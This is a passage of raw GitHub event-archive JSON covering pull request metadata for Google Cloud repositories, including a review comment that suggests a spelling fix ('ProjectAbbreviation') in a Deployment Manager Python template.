loy/statuses/{sha}","languages_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/languages","stargazers_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/stargazers","contributors_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/contributors","subscribers_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/subscribers","subscription_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/subscription","commits_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/commits{/sha}","git_commits_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/git/commits{/sha}","comments_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/comments{/number}","issue_comment_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/issues/comments{/number}","contents_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/contents/{+path}","compare_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/compare/{base}...{head}","merges_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/merges","archive_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/downloads","issues_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/issues{/number}","pulls_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/pulls{/number}","milestones_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/milestones{/number}","notifications_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/labels{/name}","releases_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/releases{/id}","deployments_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/deployments","created_at":"2018-04-05T21:20:03Z","updated_at":"2019-09-29T19:29:52Z","pushed_at":"2019-09-30T07:50:24Z","git_url":"git://github.com/GoogleCloudPlatform/click-to-deploy.git","ssh_url":"git@github.com:GoogleCloudPlatform/click-to-deploy.git","clone_url":"https://github.com/GoogleCloudPlatform/click-to-deploy.git","svn_url":"https://github.com/GoogleCloudPlatform/click-to-deploy","homepage":"","size":4204,"stargazers_count":275,"watchers_count":275,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":162,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":67,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":162,"open_issues":67,"watchers":275,"default_branch":"master"}},"base":{"label":"GoogleCloudPlatform:master","ref":"master","sha":"a405dce775e0f4c399f023ac7c014455a2a4eeb7","user":{"login":"GoogleCloudPlatform","id":2810941,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4MTA5NDE=","avatar_url":"https://avatars0.githubusercontent.com/u/2810941?v=4","gravatar_id":"","url":"https://api.github.com/users/GoogleCloudPlatform","html_url":"https://github.com/GoogleCloudPlatform","followers_url":"https://api.github.com/users/GoogleCloudPlatform/followers","following_url":"https://api.github.com/users/GoogleCloudPlatform/following{/other_user}","gists_url":"https://api.github.com/users/GoogleCloudPlatform/gists{/gist_id}","starred_url":"https://api.github.com/users/GoogleCloudPlatform/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GoogleCloudPlatform/subscriptions","organizations_url":"https://api.github.com/users/GoogleCloudPlatform/orgs","repos_url":"https://api.github.com/users/GoogleCloudPlatform/repos","events_url":"https://api.github.com/users/GoogleCloudPlatform/events{/privacy}","received_events_url":"https://api.github.com/users/GoogleCloudPlatform/received_events","type":"Organization","site_admin":false},"repo":{"id":128265535,"node_id":"MDEwOlJlcG9zaXRvcnkxMjgyNjU1MzU=","name":"click-to-deploy","full_name":"GoogleCloudPlatform/click-to-deploy","private":false,"owner":{"login":"GoogleCloudPlatform","id":2810941,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4MTA5NDE=","avatar_url":"https://avatars0.githubusercontent.com/u/2810941?v=4","gravatar_id":"","url":"https://api.github.com/users/GoogleCloudPlatform","html_url":"https://github.com/GoogleCloudPlatform","followers_url":"https://api.github.com/users/GoogleCloudPlatform/followers","following_url":"https://api.github.com/users/GoogleCloudPlatform/following{/other_user}","gists_url":"https://api.github.com/users/GoogleCloudPlatform/gists{/gist_id}","starred_url":"https://api.github.com/users/GoogleCloudPlatform/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GoogleCloudPlatform/subscriptions","organizations_url":"https://api.github.com/users/GoogleCloudPlatform/orgs","repos_url":"https://api.github.com/users/GoogleCloudPlatform/repos","events_url":"https://api.github.com/users/GoogleCloudPlatform/events{/privacy}","received_events_url":"https://api.github.com/users/GoogleCloudPlatform/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/GoogleCloudPlatform/click-to-deploy","description":"Source for Google Click to Deploy solutions listed on Google Cloud Marketplace.","fork":false,"url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy","forks_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/forks","keys_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/keys{/key_id}","collaborators_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/teams","hooks_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/hooks","issue_events_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/issues/events{/number}","events_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/events","assignees_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/assignees{/user}","branches_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/branches{/branch}","tags_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/tags","blobs_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/git/refs{/sha}","trees_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/git/trees{/sha}","statuses_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/statuses/{sha}","languages_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/languages","stargazers_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/stargazers","contributors_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/contributors","subscribers_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/subscribers","subscription_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/subscription","commits_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/commits{/sha}","git_commits_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/git/commits{/sha}","comments_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/comments{/number}","issue_comment_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/issues/comments{/number}","contents_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/contents/{+path}","compare_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/compare/{base}...{head}","merges_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/merges","archive_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/downloads","issues_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/issues{/number}","pulls_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/pulls{/number}","milestones_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/milestones{/number}","notifications_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/labels{/name}","releases_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/releases{/id}","deployments_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/deployments","created_at":"2018-04-05T21:20:03Z","updated_at":"2019-09-29T19:29:52Z","pushed_at":"2019-09-30T07:50:24Z","git_url":"git://github.com/GoogleCloudPlatform/click-to-deploy.git","ssh_url":"git@github.com:GoogleCloudPlatform/click-to-deploy.git","clone_url":"https://github.com/GoogleCloudPlatform/click-to-deploy.git","svn_url":"https://github.com/GoogleCloudPlatform/click-to-deploy","homepage":"","size":4204,"stargazers_count":275,"watchers_count":275,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":162,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":67,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":162,"open_issues":67,"watchers":275,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/pulls/746"},"html":{"href":"https://github.com/GoogleCloudPlatform/click-to-deploy/pull/746"},"issue":{"href":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/issues/746"},"comments":{"href":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/issues/746/comments"},"review_comments":{"href":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/pulls/746/comments"},"review_comment":{"href":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/pulls/746/commits"},"statuses":{"href":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/statuses/13cf2bf5ff3ac16c1efa12e1754cb874437438f0"}},"author_association":"COLLABORATOR"}}
|
{
"id": 128265535,
"name": "GoogleCloudPlatform/click-to-deploy",
"url": "https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy"
}
|
{
"id": 17149009,
"login": "ovk6",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/17149009?",
"url": "https://api.github.com/users/ovk6"
}
|
{
"id": 2810941,
"login": "GoogleCloudPlatform",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2810941?",
"url": "https://api.github.com/orgs/GoogleCloudPlatform"
}
| 2019-09-30T07:50:49 |
10522060343
|
{"actor":{"display_login":"ovk6"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/pulls/comments/266883042","pull_request_review_id":216149316,"id":266883042,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI2Njg4MzA0Mg==","diff_hunk":"@@ -22,8 +22,8 @@ def GenerateConfig(context):\n module = \"frontend\"\r\n cc = config_merger.ConfigContext(context.properties, module)\r\n \r\n- name_prefix = cc.configs[\"Org_Name\"] + cc.configs[\"ProjectAbrevation\"] + context.properties[\"envName\"] + module\r\n- i_name_prefix = cc.configs[\"Org_Name\"] + \"-\" + cc.configs[\"ProjectAbrevation\"] + \"-\" + context.properties[\"envName\"] + module\r\n+ name_prefix = cc.configs[\"Org_Name\"] + cc.configs[\"ProjectAbbrevation\"] + context.properties[\"envName\"] + module\r","path":"community/hierarchical_configuration/Organization_with_departments/systems/System_with_project_creation_and_helper_function/templates/simple_frontend.py","position":6,"original_position":6,"commit_id":"8202079fd7ad765b17c6e8ffe283bbbd99421227","original_commit_id":"8202079fd7ad765b17c6e8ffe283bbbd99421227","user":{"login":"sjvanrossum","id":432455,"node_id":"MDQ6VXNlcjQzMjQ1NQ==","avatar_url":"https://avatars1.githubusercontent.com/u/432455?v=4","gravatar_id":"","url":"https://api.github.com/users/sjvanrossum","html_url":"https://github.com/sjvanrossum","followers_url":"https://api.github.com/users/sjvanrossum/followers","following_url":"https://api.github.com/users/sjvanrossum/following{/other_user}","gists_url":"https://api.github.com/users/sjvanrossum/gists{/gist_id}","starred_url":"https://api.github.com/users/sjvanrossum/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sjvanrossum/subscriptions","organizations_url":"https://api.github.com/users/sjvanrossum/orgs","repos_url":"https://api.github.com/users/sjvanrossum/repos","events_url":"https://api.github.com/users/sjvanrossum/events{/privacy}","received_events_url":"https://api.github.com/users/sjvanrossum/received_events","type":"User","site_admin":false},"body":"```suggestion\r\n name_prefix = cc.configs[\"Org_Name\"] + cc.configs[\"ProjectAbbreviation\"] + context.properties[\"envName\"] + module\r\n```","created_at":"2019-03-19T13:24:47Z","updated_at":"2019-03-19T13:25:50Z","html_url":"https://github.com/GoogleCloudPlatform/deploymentmanager-samples/pull/397#discussion_r266883042","pull_request_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/pulls/397","author_association":"COLLABORATOR","_links":{"self":{"href":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/pulls/comments/266883042"},"html":{"href":"https://github.com/GoogleCloudPlatform/deploymentmanager-samples/pull/397#discussion_r266883042"},"pull_request":{"href":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/pulls/397"}}},"pull_request":{"url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/pulls/397","id":259232794,"node_id":"MDExOlB1bGxSZXF1ZXN0MjU5MjMyNzk0","html_url":"https://github.com/GoogleCloudPlatform/deploymentmanager-samples/pull/397","diff_url":"https://github.com/GoogleCloudPlatform/deploymentmanager-samples/pull/397.diff","patch_url":"https://github.com/GoogleCloudPlatform/deploymentmanager-samples/pull/397.patch","issue_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/issues/397","number":397,"state":"open","locked":false,"title":"hierarchical configuration: typo fix","user":{"login":"ocsig","id":26816972,"node_id":"MDQ6VXNlcjI2ODE2OTcy","avatar_url":"https://avatars3.githubusercontent.com/u/26816972?v=4","gravatar_id":"","url":"https://api.github.com/users/ocsig","html_url":"https://github.com/ocsig","followers_url":"https://api.github.com/users/ocsig/followers","following_url":"https://api.github.com/users/ocsig/following{/other_user}","gists_url":"https://api.github.com/users/ocsig/gists{/gist_id}","starred_url":"https://api.github.com/users/ocsig/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ocsig/subscriptions","organizations_url":"https://api.github.com/users/ocsig/orgs","repos_url":"https://api.github.com/users/ocsig/repos","events_url":"https://api.github.com/users/ocsig/events{/privacy}","received_events_url":"https://api.github.com/users/ocsig/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-03-07T19:03:59Z","updated_at":"2019-03-19T13:25:50Z","closed_at":null,"merged_at":null,"merge_commit_sha":"a78af49b869aa44b1aa19263acd5b60d4cc2dc57","assignee":{"login":"sjvanrossum","id":432455,"node_id":"MDQ6VXNlcjQzMjQ1NQ==","avatar_url":"https://avatars1.githubusercontent.com/u/432455?v=4","gravatar_id":"","url":"https://api.github.com/users/sjvanrossum","html_url":"https://github.com/sjvanrossum","followers_url":"https://api.github.com/users/sjvanrossum/followers","following_url":"https://api.github.com/users/sjvanrossum/following{/other_user}","gists_url":"https://api.github.com/users/sjvanrossum/gists{/gist_id}","starred_url":"https://api.github.com/users/sjvanrossum/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sjvanrossum/subscriptions","organizations_url":"https://api.github.com/users/sjvanrossum/orgs","repos_url":"https://api.github.com/users/sjvanrossum/repos","events_url":"https://api.github.com/users/sjvanrossum/events{/privacy}","received_events_url":"https://api.github.com/users/sjvanrossum/received_events","type":"User","site_admin":false},"assignees":[{"login":"sjvanrossum","id":432455,"node_id":"MDQ6VXNlcjQzMjQ1NQ==","avatar_url":"https://avatars1.githubusercontent.com/u/432455?v=4","gravatar_id":"","url":"https://api.github.com/users/sjvanrossum","html_url":"https://github.com/sjvanrossum","followers_url":"https://api.github.com/users/sjvanrossum/followers","following_url":"https://api.github.com/users/sjvanrossum/following{/other_user}","gists_url":"https://api.github.com/users/sjvanrossum/gists{/gist_id}","starred_url":"https://api.github.com/users/sjvanrossum/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sjvanrossum/subscriptions","organizations_url":"https://api.github.com/users/sjvanrossum/orgs","repos_url":"https://api.github.com/users/sjvanrossum/repos","events_url":"https://api.github.com/users/sjvanrossum/events{/privacy}","received_events_url":"https://api.github.com/users/sjvanrossum/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/pulls/397/commits","review_comments_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/pulls/397/comments","review_comment_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/pulls/comments{/number}","comments_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/issues/397/comments","statuses_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/statuses/8202079fd7ad765b17c6e8ffe283bbbd99421227","head":{"label":"GoogleCloudPlatform:ocsig-patch-2","ref":"ocsig-patch-2","sha":"8202079fd7ad765b17c6e8ffe283bbbd99421227","user":{"login":"GoogleCloudPlatform","id":2810941,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4MTA5NDE=","avatar_url":"https://avatars0.githubusercontent.com/u/2810941?v=4","gravatar_id":"","url":"https://api.github.com/users/GoogleCloudPlatform","html_url":"https://github.com/GoogleCloudPlatform","followers_url":"https://api.github.com/users/GoogleCloudPlatform/followers","following_url":"https://api.github.com/users/GoogleCloudPlatform/following{/other_user}","gists_url":"https://api.github.com/users/GoogleCloudPlatform/gists{/gist_id}","starred_url":"https://api.github.com/users/GoogleCloudPlatform/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GoogleCloudPlatform/subscriptions","organizations_url":"https://api.github.com/users/GoogleCloudPlatform/orgs","repos_url":"https://api.github.com/users/GoogleCloudPlatform/repos","events_url":"https://api.github.com/users/GoogleCloudPlatform/events{/privacy}","received_events_url":"https://api.github.com/users/GoogleCloudPlatform/received_events","type":"Organization","site_admin":false},"repo":{"id":31558349,"node_id":"MDEwOlJlcG9zaXRvcnkzMTU1ODM0OQ==","name":"deploymentmanager-samples","full_name":"GoogleCloudPlatform/deploymentmanager-samples","private":false,"owner":{"login":"GoogleCloudPlatform","id":2810941,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4MTA5NDE=","avatar_url":"https://avatars0.githubusercontent.com/u/2810941?v=4","gravatar_id":"","url":"https://api.github.com/users/GoogleCloudPlatform","html_url":"https://github.com/GoogleCloudPlatform","followers_url":"https://api.github.com/users/GoogleCloudPlatform/followers","following_url":"https://api.github.com/users/GoogleCloudPlatform/following{/other_user}","gists_url":"https://api.github.com/users/GoogleCloudPlatform/gists{/gist_id}","starred_url":"https://api.github.com/users/GoogleCloudPlatform/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GoogleCloudPlatform/subscriptions","organizations_url":"https://api.github.com/users/GoogleCloudPlatform/orgs","repos_url":"https://api.github.com/users/GoogleCloudPlatform/repos","events_url":"https://api.github.com/users/GoogleCloudPlatform/events{/privacy}","received_events_url":"https://api.github.com/users/GoogleCloudPlatform/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/GoogleCloudPlatform/deploymentmanager-samples","description":"Deployment Manager samples and templates.","fork":false,"url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples","forks_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/forks","keys_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/keys{/key_id}","collaborators_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/teams","hooks_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/hooks","issue_events_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/issues/events{/number}","events_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/events","assignees_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/assignees{/user}","branches_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/branches{/branch}","tags_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/tags","blobs_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/git/refs{/sha}","trees_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/git/trees{/sha}","statuses_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/statuses/{sha}","languages_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/languages","stargazers_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/stargazers","contributors_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/contributors","subscribers_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/subscribers","subscription_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/subscription","commits_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/commits{/sha}","git_commits_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/git/commits{/sha}","comments_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/comments{/number}","issue_comment_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/issues/comments{/number}","contents_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/contents/{+path}","compare_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/compare/{base}...{head}","merges_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/merges","archive_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/downloads","issues_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/issues{/number}","pulls_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/pulls{/number}","milestones_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/milestones{/number}","notifications_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/labels{/name}","releases_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/releases{/id}","deployments_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/deployments","created_at":"2015-03-02T19:24:40Z","updated_at":"2019-03-19T13:11:17Z","pushed_at":"2019-03-19T13:11:15Z","git_url":"git://github.com/GoogleCloudPlatform/deploymentmanager-samples.git","ssh_url":"git@github.com:GoogleCloudPlatform/deploymentmanager-samples.git","clone_url":"https://github.com/GoogleCloudPlatform/deploymentmanager-samples.git","svn_url":"https://github.com/GoogleCloudPlatform/deploymentmanager-samples","homepage":null,"size":2248,"stargazers_count":388,"watchers_count":388,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":252,"mirror_url":null,"archived":false,"open_issues_count":46,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":252,"open_issues":46,"watchers":388,"default_branch":"master"}},"base":{"label":"GoogleCloudPlatform:master","ref":"master","sha":"31c35221c4df388b5fb4166d921c4ff28e17c617","user":{"login":"GoogleCloudPlatform","id":2810941,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4MTA5NDE=","avatar_url":"https://avatars0.githubusercontent.com/u/2810941?v=4","gravatar_id":"","url":"https://api.github.com/users/GoogleCloudPlatform","html_url":"https://github.com/GoogleCloudPlatform","followers_url":"https://api.github.com/users/GoogleCloudPlatform/followers","following_url":"https://api.github.com/users/GoogleCloudPlatform/following{/other_user}","gists_url":"https://api.github.com/users/GoogleCloudPlatform/gists{/gist_id}","starred_url":"https://api.github.com/users/GoogleCloudPlatform/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GoogleCloudPlatform/subscriptions","organizations_url":"https://api.github.com/users/GoogleCloudPlatform/orgs","repos_url":"https://api.github.com/users/GoogleCloudPlatform/repos","events_url":"https://api.github.com/users/GoogleCloudPlatform/events{/privacy}","received_events_url":"https://api.github.com/users/GoogleCloudPlatform/received_events","type":"Organization","site_admin":false},"repo":{"id":31558349,"node_id":"MDEwOlJlcG9zaXRvcnkzMTU1ODM0OQ==","name":"deploymentmanager-samples","full_name":"GoogleCloudPlatform/deploymentmanager-samples","private":false,"owner":{"login":"GoogleCloudPlatform","id":2810941,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4MTA5NDE=","avatar_url":"https://avatars0.githubusercontent.com/u/2810941?v=4","gravatar_id":"","url":"https://api.github.com/users/GoogleCloudPlatform","html_url":"https://github.com/GoogleCloudPlatform","followers_url":"https://api.github.com/users/GoogleCloudPlatform/followers","following_url":"https://api.github.com/users/GoogleCloudPlatform/following{/other_user}","gists_url":"https://api.github.com/users/GoogleCloudPlatform/gists{/gist_id}","starred_url":"https://api.github.com/users/GoogleCloudPlatform/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GoogleCloudPlatform/subscriptions","organizations_url":"https://api.github.com/users/GoogleCloudPlatform/orgs","repos_url":"https://api.github.com/users/GoogleCloudPlatform/repos","events_url":"https://api.github.com/users/GoogleCloudPlatform/events{/privacy}","received_events_url":"https://api.github.com/users/GoogleCloudPlatform/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/GoogleCloudPlatform/deploymentmanager-samples","description":"Deployment Manager samples and templates.","fork":false,"url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples","forks_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/forks","keys_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/keys{/key_id}","collaborators_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/teams","hooks_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/hooks","issue_events_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/issues/events{/number}","events_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/events","assignees_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/assignees{/user}","branches_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/branches{/branch}","tags_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/tags","blobs_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/git/refs{/sha}","trees_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/git/trees{/sha}","statuses_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/statuses/{sha}","languages_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/languages","stargazers_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/stargazers","contributors_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/contributors","subscribers_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/subscribers","subscription_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/subscription","commits_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/commits{/sha}","git_commits_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/git/commits{/sha}","comments_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/comments{/number}","issue_comment_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/issues/comments{/number}","contents_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/contents/{+path}","compare_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/compare/{base}...{head}","merges_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/merges","archive_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/downloads","issues_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/issues{/number}","pulls_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/pulls{/number}","milestones_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/milestones{/number}","notifications_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/labels{/name}","releases_url":"https://api.github.com/r